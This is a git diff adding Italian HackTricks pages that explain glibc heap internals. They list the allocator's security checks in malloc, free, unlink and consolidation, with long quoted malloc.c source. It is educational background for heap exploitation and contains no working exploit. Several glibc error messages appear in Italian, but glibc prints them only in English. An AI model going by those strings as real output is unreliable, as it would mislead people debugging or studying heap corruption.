+ +## \_int\_free\_merge\_chunk + +Questa funzione cercherà di unire il chunk P di DIMENSIONE byte con i suoi vicini. Mettere il chunk risultante nell'elenco dei bin non ordinati. + +Alcuni controlli vengono eseguiti: + +* Se il chunk è il chunk superiore: `double free or corruption (top)` +* Se il chunk successivo è al di fuori dei limiti dell'arena: `double free or corruption (out)` +* Se il chunk non è contrassegnato come usato (nel `prev_inuse` del chunk successivo): `double free or corruption (!prev)` +* Se il chunk successivo ha una dimensione troppo piccola o troppo grande: `free(): invalid next size (normal)` +* se il chunk precedente non è in uso, cercherà di consolidare. Ma, se il prev\_size differisce dalla dimensione indicata nel chunk precedente: `corrupted size vs. prev_size while consolidating` + +
+ +Codice \_int\_free\_merge\_chunk +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 + +/* Try to merge chunk P of SIZE bytes with its neighbors. Put the +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ +static void +_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) +{ +mchunkptr nextchunk = chunk_at_offset(p, size); + +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); + +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); + +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); + +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} + +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); +} +``` +
+ +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md new file mode 100644 index 000000000..1e3eea0c5 --- /dev/null +++ b/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -0,0 +1,172 @@ +# Controlli di sicurezza delle funzioni di heap + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## unlink + +Per ulteriori informazioni controlla: + +{% content-ref url="unlink.md" %} +[unlink.md](unlink.md) +{% endcontent-ref %} + +Questo è un riassunto dei controlli eseguiti: + +* Controlla se la dimensione indicata del chunk è la stessa di `prev_size` indicata nel chunk successivo +* Messaggio di errore: `dimensione corrotta rispetto a prev_size` +* Controlla anche che `P->fd->bk == P` e `P->bk->fw == P` +* Messaggio di errore: `lista doppiamente collegata corrotta` +* Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` +* Messaggio di errore: `lista doppiamente collegata corrotta (non piccolo)` + +## \_int\_malloc + +Per ulteriori informazioni controlla: + +{% content-ref url="malloc-and-sysmalloc.md" %} +[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md) +{% endcontent-ref %} + +* **Controlli durante la ricerca del fast bin:** +* Se il chunk è non allineato: +* Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato 2` +* Se il chunk successivo è non allineato: +* Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato` +* Se il chunk restituito ha una dimensione non corretta a causa del suo indice nel fast bin: +* Messaggio di errore: `malloc(): corruzione di memoria (veloce)` +* Se un qualsiasi chunk utilizzato per riempire il tcache è non allineato: +* Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato 3` +* **Controlli durante la ricerca del small bin:** +* Se `victim->bk->fd != victim`: +* Messaggio di errore: `malloc(): lista doppiamente collegata smallbin corrotta` +* **Controlli durante la consolidazione** eseguiti per ogni chunk del fast bin: +* Se il chunk è non allineato attiva: +* Messaggio di errore: `malloc_consolidate(): rilevato chunk fastbin non allineato` +* Se il chunk ha una dimensione diversa da quella che dovrebbe a causa dell'indice in cui si trova: +* Messaggio di errore: `malloc_consolidate(): dimensione chunk non valida` +* Se il chunk precedente non è in uso e il chunk precedente ha una dimensione diversa da quella indicata da prev\_chunk: +* Messaggio di errore: `dimensione corrotta rispetto a prev_size in fastbins` +* **Controlli durante la ricerca del unsorted bin**: +* Se la dimensione del chunk è strana (troppo piccola o troppo grande): +* Messaggio di errore: `malloc(): dimensione non valida (non ordinata)` +* Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande): +* Messaggio di errore: `malloc(): dimensione successiva non valida (non ordinata)` +* Se la dimensione precedente indicata dal chunk successivo è diversa dalla dimensione del chunk: +* Messaggio di errore: `malloc(): dimensione next->prev non corrispondente (non ordinata)` +* Se non `victim->bck->fd == victim` o non `victim->fd == av (arena)`: +* Messaggio di errore: `malloc(): lista doppiamente collegata non ordinata corrotta` +* Poiché stiamo sempre controllando l'ultimo, il suo fd dovrebbe puntare sempre alla struttura arena. +* Se il chunk successivo non indica che il precedente è in uso: +* Messaggio di errore: `malloc(): next->prev_inuse non valido (non ordinato)` +* Se `fwd->bk_nextsize->fd_nextsize != fwd`: +* Messaggio di errore: `malloc(): lista doppiamente collegata largebin corrotta (nextsize)` +* Se `fwd->bk->fd != fwd`: +* Messaggio di errore: `malloc(): lista doppiamente collegata largebin corrotta (bk)` +* **Controlli durante la ricerca del large bin (per indice):** +* `bck->fd-> bk != bck`: +* Messaggio di errore: `malloc(): chunk non ordinati corrotti` +* **Controlli durante la ricerca del large bin (successivo più grande):** +* `bck->fd-> bk != bck`: +* Messaggio di errore: `malloc(): chunk non ordinati corrotti2` +* **Controlli durante l'uso del Top chunk:** +* `chunksize(av->top) > av->system_mem`: +* Messaggio di errore: `malloc(): dimensione top corrotta` + +## `tcache_get_n` + +* **Controlli in `tcache_get_n`:** +* Se il chunk è non allineato: +* Messaggio di errore: `malloc(): rilevato chunk tcache non allineato` + +## `tcache_thread_shutdown` + +* **Controlli in `tcache_thread_shutdown`:** +* Se il chunk è non allineato: +* Messaggio di errore: `tcache_thread_shutdown(): rilevato chunk tcache non allineato` + +## `__libc_realloc` + +* **Controlli in `__libc_realloc`:** +* Se il vecchio puntatore è non allineato o la dimensione era incorretta: +* Messaggio di errore: `realloc(): puntatore non valido` + +## `_int_free` + +Per ulteriori informazioni controlla: + +{% content-ref url="free.md" %} +[free.md](free.md) +{% endcontent-ref %} + +* **Controlli all'inizio di `_int_free`:** +* Il puntatore è allineato: +* Messaggio di errore: `free(): puntatore non valido` +* Dimensione maggiore di `MINSIZE` e dimensione anche allineata: +* Messaggio di errore: `free(): dimensione non valida` +* **Controlli in `_int_free` tcache:** +* Se ci sono più voci di `mp_.tcache_count`: +* Messaggio di errore: `free(): troppi chunk rilevati nel tcache` +* Se l'entry non è allineata: +* Messaggio di errore: `free(): rilevato chunk non allineato nel tcache 2` +* Se il chunk liberato era già stato liberato e è presente come chunk nel tcache: +* Messaggio di errore: `free(): doppia liberazione rilevata nel tcache 2` +* **Controlli in `_int_free` fast bin:** +* Se la dimensione del chunk non è valida (troppo grande o piccola) attiva: +* Messaggio di errore: `free(): dimensione successiva non valida (veloce)` +* Se il chunk aggiunto era già in cima al fast bin: +* Messaggio di errore: `doppia liberazione o corruzione (fasttop)` +* Se la dimensione del chunk in cima ha una dimensione diversa dal chunk che stiamo aggiungendo: +* Messaggio di errore: `voce fastbin non valida (libera)` +## **`_int_free_merge_chunk`** + +* **Controlli in `_int_free_merge_chunk`:** +* Se il chunk è il chunk superiore: +* Messaggio di errore: `double free or corruption (top)` +* Se il chunk successivo è al di fuori dei limiti dell'arena: +* Messaggio di errore: `double free or corruption (out)` +* Se il chunk non è contrassegnato come in uso (nel prev\_inuse del chunk successivo): +* Messaggio di errore: `double free or corruption (!prev)` +* Se il chunk successivo ha una dimensione troppo piccola o troppo grande: +* Messaggio di errore: `free(): invalid next size (normal)` +* Se il chunk precedente non è in uso, cercherà di consolidare. Ma, se la `prev_size` differisce dalla dimensione indicata nel chunk precedente: +* Messaggio di errore: `corrupted size vs. prev_size while consolidating` + +## **`_int_free_create_chunk`** + +* **Controlli in `_int_free_create_chunk`:** +* Aggiungendo un chunk nel bin non ordinato, controlla se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +* Messaggio di errore: `free(): corrupted unsorted chunks` + +## `do_check_malloc_state` + +* **Controlli in `do_check_malloc_state`:** +* Se il chunk del bin veloce non è allineato correttamente: +* Messaggio di errore: `do_check_malloc_state(): unaligned fastbin chunk detected` + +## `malloc_consolidate` + +* **Controlli in `malloc_consolidate`:** +* Se il chunk del bin veloce non è allineato correttamente: +* Messaggio di errore: `malloc_consolidate(): unaligned fastbin chunk detected` +* Se la dimensione del chunk del bin veloce non è corretta: +* Messaggio di errore: `malloc_consolidate(): invalid chunk size` + +## `_int_realloc` + +* **Controlli in `_int_realloc`:** +* La dimensione è troppo grande o troppo piccola: +* Messaggio di errore: `realloc(): invalid old size` +* La dimensione del chunk successivo è troppo grande o troppo piccola: +* Messaggio di errore: `realloc(): invalid next size` diff --git a/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md new file mode 100644 index 000000000..42548605c --- /dev/null +++ b/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -0,0 +1,1710 @@ +# malloc & sysmalloc + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Riassunto dell'Ordine di Allocazione + +(Nessun controllo è spiegato in questo riassunto e alcuni casi sono stati omessi per brevità) + +1. `__libc_malloc` cerca di ottenere un chunk dalla tcache, se non riesce chiama `_int_malloc` +2. `_int_malloc` : +1. Cerca di generare l'arena se non ce n'è nessuna +2. Se c'è un chunk fast bin della dimensione corretta, lo usa +1. Riempie la tcache con altri chunk fast +3. Se c'è un chunk small bin della dimensione corretta, lo usa +1. Riempie la tcache con altri chunk di quella dimensione +4. Se la dimensione richiesta non è per i small bin, consolida il fast bin nel bin non ordinato +5. Controlla il bin non ordinato, usa il primo chunk con abbastanza spazio +1. Se il chunk trovato è più grande, dividilo per restituire una parte e aggiungi il resto al bin non ordinato +2. Se un chunk è della stessa dimensione della dimensione richiesta, usalo per riempire la tcache invece di restituirlo (fino a quando la tcache è piena, quindi restituisci il successivo) +3. Per ogni chunk di dimensione più piccola controllato, mettilo nel rispettivo bin small o large +6. Controlla il bin large nell'indice della dimensione richiesta +1. Inizia a cercare dal primo chunk più grande della dimensione richiesta, se ne trovi uno restituiscilo e aggiungi i resti al bin small +7. Controlla i bin large dai prossimi indici fino alla fine +1. Dal prossimo indice più grande controlla se c'è un chunk, divide il primo chunk trovato per usarlo per la dimensione richiesta e aggiungi il resto al bin non ordinato +8. Se non trovi nulla nei bin precedenti, ottieni un chunk dal chunk superiore +9. Se il chunk superiore non era abbastanza grande, ingrandiscilo con `sysmalloc` + +## \_\_libc\_malloc + +La funzione `malloc` in realtà chiama `__libc_malloc`. Questa funzione controlla la tcache per vedere se c'è un chunk disponibile della dimensione desiderata. Se c'è lo userà e se non c'è controllerà se è un singolo thread e in tal caso chiamerà `_int_malloc` nell'arena principale, altrimenti chiamerà `_int_malloc` nell'arena del thread. + +
+ +Codice di __libc_malloc +```c +// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c + +#if IS_IN (libc) +void * +__libc_malloc (size_t bytes) +{ +mstate ar_ptr; +void *victim; + +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); + +if (!__malloc_initialized) +ptmalloc_init (); +#if USE_TCACHE +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); + +MAYBE_INIT_TCACHE (); + +DIAG_PUSH_NEEDS_COMMENT; +if (tc_idx < mp_.tcache_bins +&& tcache != NULL +&& tcache->counts[tc_idx] > 0) +{ +victim = tcache_get (tc_idx); +return tag_new_usable (victim); +} +DIAG_POP_NEEDS_COMMENT; +#endif + +if (SINGLE_THREAD_P) +{ +victim = tag_new_usable (_int_malloc (&main_arena, bytes)); +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +&main_arena == arena_for_chunk (mem2chunk (victim))); +return victim; +} + +arena_get (ar_ptr, bytes); + +victim = _int_malloc (ar_ptr, bytes); +/* Retry with another arena only if we were able to find a usable arena +before. */ +if (!victim && ar_ptr != NULL) +{ +LIBC_PROBE (memory_malloc_retry, 1, bytes); +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} + +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); + +victim = tag_new_usable (victim); + +assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || +ar_ptr == arena_for_chunk (mem2chunk (victim))); +return victim; +} +``` +
+ +Nota come esso etichetterà sempre il puntatore restituito con `tag_new_usable`, dal codice: +```c +void *tag_new_usable (void *ptr) + +Allocate a new random color and use it to color the user region of +a chunk; this may include data from the subsequent chunk's header +if tagging is sufficiently fine grained. Returns PTR suitably +recolored for accessing the memory there. +``` +## \_int\_malloc + +Questa è la funzione che alloca memoria utilizzando gli altri blocchi e il chunk superiore. + +* Inizio + +Inizia definendo alcune variabili e ottenendo la dimensione reale di spazio di memoria richiesta che deve avere: + +
+ +_int_malloc inizio +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 +static void * +_int_malloc (mstate av, size_t bytes) +{ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ + +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ + +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ + +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ + +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ + +#if USE_TCACHE +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +#endif + +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ + +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +``` +
+ +### Arena + +Nel caso improbabile in cui non ci siano arene utilizzabili, viene utilizzato `sysmalloc` per ottenere un chunk da `mmap`: + +
+ +_int_malloc non arena +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 +/* There are no usable arenas. Fall back to sysmalloc to get a chunk from +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +``` +
+ +### Fast Bin + +Se la dimensione necessaria è all'interno delle dimensioni dei Fast Bin, prova a utilizzare un chunk dal fast bin. Fondamentalmente, in base alla dimensione, troverà l'indice del fast bin dove dovrebbero trovarsi i chunk validi e, se ce ne sono, restituirà uno di quelli.\ +Inoltre, se il tcache è abilitato, **riempirà il tcache bin di quella dimensione con i fast bin**. + +Durante l'esecuzione di queste azioni, vengono eseguiti alcuni controlli di sicurezza qui: + +* Se il chunk non è allineato: `malloc(): rilevato chunk fastbin non allineato 2` +* Se il chunk successivo non è allineato: `malloc(): rilevato chunk fastbin non allineato` +* Se il chunk restituito ha una dimensione non corretta a causa del suo indice nel fast bin: `malloc(): corruzione della memoria (fast)` +* Se un qualsiasi chunk utilizzato per riempire il tcache non è allineato: `malloc(): rilevato chunk fastbin non allineato 3` + +
+ +_int_malloc fast bin +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 +/* +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ + +#define REMOVE_FB(fb, victim, pp) \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ + +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; + +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); + +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); +#if USE_TCACHE +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; + +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} +#endif +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} +``` +
+ +### Small Bin + +Come indicato in un commento, i small bin contengono una dimensione per indice, pertanto controllare se è disponibile un chunk valido è estremamente veloce, quindi dopo i fast bin, vengono controllati i small bin. + +Il primo controllo consiste nel verificare se la dimensione richiesta potrebbe trovarsi all'interno di un small bin. In tal caso, ottenere l'**indice** corrispondente all'interno del small bin e verificare se c'è **qualsiasi chunk disponibile**. + +Successivamente, viene eseguito un controllo di sicurezza per verificare: + +* se `victim->bk->fd = victim`. Per verificare che entrambi i chunk siano correttamente collegati. + +In tal caso, il chunk **ottiene il bit `inuse`,** la lista doppiamente collegata viene corretta in modo che questo chunk scompaia da essa (poiché verrà utilizzato) e viene impostato il bit non principale dell'arena se necessario. + +Infine, **riempire l'indice del tcache della dimensione richiesta** con altri chunk all'interno del small bin (se presenti). + +
+ +_int_malloc small bin +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 + +/* +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ + +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); + +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; + +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); +#if USE_TCACHE +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; + +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; + +tcache_put (tc_victim, tc_idx); +} +} +} +#endif +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +``` +
+ +### malloc\_consolidate + +Se non si trattava di un piccolo chunk, si tratta di un grande chunk e, in questo caso, viene chiamato **`malloc_consolidate`** per evitare frammentazione della memoria. + +
+ +chiamata a malloc_consolidate +```c +/* +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ + +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} + +``` +
+ +La funzione di consolidamento malloc fondamentalmente rimuove i chunk dal fast bin e li colloca nell'unsorted bin. Dopo il prossimo malloc, questi chunk verranno organizzati nei rispettivi small/fast bin. + +Si noti che durante la rimozione di questi chunk, se vengono trovati chunk precedenti o successivi che non sono in uso, verranno **scollegati e uniti** prima di collocare il chunk finale nell'unsorted bin. + +Per ogni chunk del fast bin vengono eseguiti un paio di controlli di sicurezza: + +* Se il chunk non è allineato, scatenare: `malloc_consolidate(): unaligned fastbin chunk detected` +* Se il chunk ha una dimensione diversa da quella che dovrebbe avere a causa dell'indice in cui si trova: `malloc_consolidate(): invalid chunk size` +* Se il chunk precedente non è in uso e ha una dimensione diversa da quella indicata da `prev_chunk`: `corrupted size vs. prev_size in fastbins` + +
+ +Funzione malloc_consolidate +```c +// https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 + +static void malloc_consolidate(mstate av) +{ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ + +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; + +atomic_store_relaxed (&av->have_fastchunks, false); + +unsorted_bin = unsorted_chunks(av); + +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ + +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); + +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} + +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); + +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); + +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} + +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); + +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); + +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; + +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} + +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} + +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} + +} while ( (p = nextp) != 0); + +} +} while (fb++ != maxfb); +} +``` +
+ +### Unsorted bin + +È il momento di controllare l'unsorted bin per individuare un possibile chunk valido da utilizzare. + +#### Inizio + +Questo inizia con un grande ciclo che attraverserà l'unsorted bin nella direzione `bk` fino ad arrivare alla fine (la struttura dell'arena) con `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` + +Inoltre, vengono eseguiti alcuni controlli di sicurezza ogni volta che viene considerato un nuovo chunk: + +* Se la dimensione del chunk è strana (troppo piccola o troppo grande): `malloc(): dimensione non valida (unsorted)` +* Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande): `malloc(): dimensione successiva non valida (unsorted)` +* Se la dimensione precedente indicata dal chunk successivo differisce dalla dimensione del chunk: `malloc(): dimensioni non corrispondenti next->prev_size (unsorted)` +* Se non `victim->bck->fd == victim` o non `victim->fd == av` (arena): `malloc(): lista doppiamente concatenata unsorted corrotta` +* Poiché stiamo sempre controllando l'ultimo, il suo `fd` dovrebbe puntare sempre alla struttura dell'arena. +* Se il chunk successivo non indica che il precedente è in uso: `malloc(): next->prev_inuse non valido (unsorted)` + +
+ +_int_malloc inizio unsorted bin +```c +/* +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. + +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ + +#if USE_TCACHE +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; + +tcache_unsorted_count = 0; +#endif + +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); + +if 